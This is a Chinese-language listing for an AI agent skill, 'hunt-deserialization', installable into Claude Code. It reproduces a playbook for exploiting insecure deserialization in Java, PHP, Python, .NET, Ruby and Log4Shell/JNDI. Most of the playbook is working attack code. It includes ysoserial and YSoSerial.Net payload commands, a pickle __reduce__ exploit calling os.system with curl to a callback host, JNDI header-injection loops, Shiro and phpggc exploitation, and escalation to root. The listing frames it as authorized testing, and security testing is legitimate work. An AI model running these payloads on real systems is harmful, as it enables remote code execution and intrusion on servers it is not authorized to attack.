mcpField
H
hunt-deserialization

hunt-deserialization

github.com/uphiago安全1.3k43 次安装8 周前更新
代码仓库

关于 hunt-deserialization

用于检测 Java、PHP、Python、.NET、Ruby 和 JNDI 不安全反序列化的安全测试技能,提供攻击面信号、探测步骤、验证方法及常见问题说明。

主要功能

  1. 01按语言分类的反序列化探测
  2. 02六类攻击面的测试步骤
  3. 03带外与响应验证方法
  4. 04误报及载荷问题排查
  5. 05关联安全测试技能

适用场景

  1. 01检查应用端点是否存在不安全反序列化
  2. 02验证序列化输入能否触发命令执行
  3. 03在授权测试中确认盲带外回调

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-deserialization

安装后在 Claude Code 中输入/hunt-deserialization确认已加载。

详细介绍

HUNT-DESERIALIZATION — 不安全的反序列化

皇冠明珠目标

反序列化漏洞几乎总是严重级别:它们无需前置条件即可直接导致 RCE。

价值最高的利用链:

  • Java ysoserial gadget 利用链 — CommonsCollections、Spring、JNDI、Groovy gadget → 完整的操作系统命令执行
  • PHP 对象注入 — __wakeup / __destruct 魔术方法 → 文件写入 / RCE
  • Python pickle — pickle.loads(attacker_data) → __reduce__ → os.system('id')
  • .NET BinaryFormatter — TypeConfuseDelegate gadget 利用链 → RCE
  • Ruby Marshal.load — Gem::Requirement、Gem::Installer gadget → RCE
  • JNDI 注入 — Log4Shell 模式:${jndi:ldap://attacker/a} → 类加载 → RCE

攻击面信号

检测模式
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1  # shows: ac ed 00 05

# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02

# Apache Shiro: rememberMe cookie present
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"

# Log4j: test user-controlled fields for JNDI interpolation
curl --max-time 30 --connect-timeout 10 -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
Header / Cookie 信号
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/

分步猎测方法

阶段 1 — Java 反序列化(ysoserial)
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
  'curl http://COLLAB_HOST/ysoserial' | base64 -w0

# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
  curl --max-time 30 --connect-timeout 10 -s https://$TARGET/wls-wsat/CoordinatorPortType \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @-

# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"
阶段 2 — PHP 对象注入
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .

# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed

# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l  # list chains
php phpggc Laravel/RCE5 system id | base64
阶段 3 — Python Pickle
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"

# Send as cookie or POST body
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/api/load-model \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.pkl
阶段 4 — .NET ViewState
# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC

# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
阶段 5 — Log4Shell / JNDI
# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
  curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done

# Test POST body fields
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"
阶段 6 — Ruby Marshal
# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .

# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets

利用链表

反序列化信号利用链目标影响
任意反序列化 RCE/etc/passwd + id 输出证明可执行任意命令
以低权限用户身份执行 RCE查找 SUID 二进制文件 / sudo 规则权限提升 → root
无回显 RCE(OOB 回调)DNS 回调 → 确认执行足以构成严重级别 PoC
Log4ShellLDAP → JNDI → 类加载JVM 进程上实现完整 RCE

自动化

# OOB listener
interactsh-client -v -n 5

# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit

验证

✅ 来自 COLLAB 主机的 DNS/HTTP 回调:已确认存在无回显反序列化 ✅ 响应中包含命令输出:已确认存在完整 RCE

严重级别: 几乎总是严重 — 可使用服务器进程权限执行 RCE。

验证步骤

  1. ysoserial 是否可用 — 检查是否已安装 ysoserial:
    which ysoserial 2>/dev/null || ls /opt/ysoserial*.jar 2>/dev/null | head -1 && echo "PASS: ysoserial found" || echo "NOTE: ysoserial not installed"
    
  2. PHP 反序列化测试 — 验证 PHP payload 生成:
    php -r "echo serialize(['test'=>'value']);" 2>/dev/null && echo "PASS: PHP serialize works" || echo "NOTE: PHP not available"
    

所有测试均用于验证反序列化探测。


注意事项

  • ysoserial payload 没有 gadget 利用链 — 生成 payload 并不等于成功利用。需要确认目标的 classpath 中包含特定 gadget。
  • Java 反序列化与 PHP unserialize — 语言不同,工具也不同。不要交叉套用 payload。
  • payload 采用 Base64 编码,但服务器需要原始二进制数据 — 有些服务器接受 Base64,有些接受原始数据。两种编码都要测试。
  • Content-Type 不匹配 — Java 反序列化通常需要 application/x-java-serialized-object 或 application/octet-stream。Content-Type 错误可能导致请求被静默拒绝。
  • WAF 反序列化过滤 — 许多 WAF 会拦截已知的 ysoserial gadget 特征。漏洞可能仍然存在,但需要自定义 gadget 利用链。

相关技能

  • hunt-rce — 反序列化是服务端 RCE 的经典路径。链路原语:Java ysoserial gadget chain(CommonsCollections6)→ 以应用服务器用户身份执行操作系统命令 → 在响应中获取 id / whoami 结果或通过 OOB 回调获取结果。
  • hunt-aspnet — ASP.NET ViewState 反序列化是 .NET 特有的一类 RCE。链路原语:__VIEWSTATEENCRYPTED=""(仅签名)+ 泄露的 <machineKey> validationKey → ysoserial.net -p ViewState -g TypeConfuseDelegate → 以 IIS 工作进程身份实现 RCE。
  • hunt-lfi — PHP phar:// 反序列化链将文件上传与 PHP 对象注入结合起来。链路原语:上传多态 JPEG + PHAR 文件 → 通过 phar:///path/to/upload.jpg 将其包含进来 → 调用 __wakeup / __destruct 魔术方法 → 通过 PHP gadget chain 实现 RCE。
  • hunt-xxe — XML 外部实体处理常与 XML 反序列化入口搭配使用。链路原语:SOAP 端点接受 XML → XXE 通过 OOB DTD 外带 /etc/passwd → 如果 XML 解析器使用 XStream 或类似工具,则可结合 Java 反序列化。
  • hunt-api-misconfig — JWT alg:none 或弱 HMAC 密钥相当于反序列化:服务器在不验证完整性的情况下反序列化令牌载荷。链路原语:{"alg":"none","typ":"JWT"}.{"sub":"admin","role":"admin"}. → 服务器将伪造的 JWT 载荷作为反序列化后的身份信息接受。
  • security-arsenal — 使用 Deserialization Payload Tree:ysoserial Java gadget chains(CommonsCollections、Spring、JNDI、Groovy、ROME)、ysoserial.net(.NET BinaryFormatter、ViewState、ObjectStateFormatter)、PHPGGC(Laravel、CodeIgniter、Zend)、Python pickle __reduce__、Ruby Marshal Gem::Installer,以及 JNDI/Log4Shell 链。
  • triage-validation — 在判定为严重级别之前,先通过 Pre-Severity Gate。Cookie 中出现 Java 序列化对象头(AC ED 00 05 / rO0ABX)并不能确认应用会对其进行反序列化——请发送带 OOB 回调的精心构造的 ysoserial 载荷进行确认。发现反序列化 = 严重;但确认存在反序列化 = 更高价值。

评论

支持 Markdown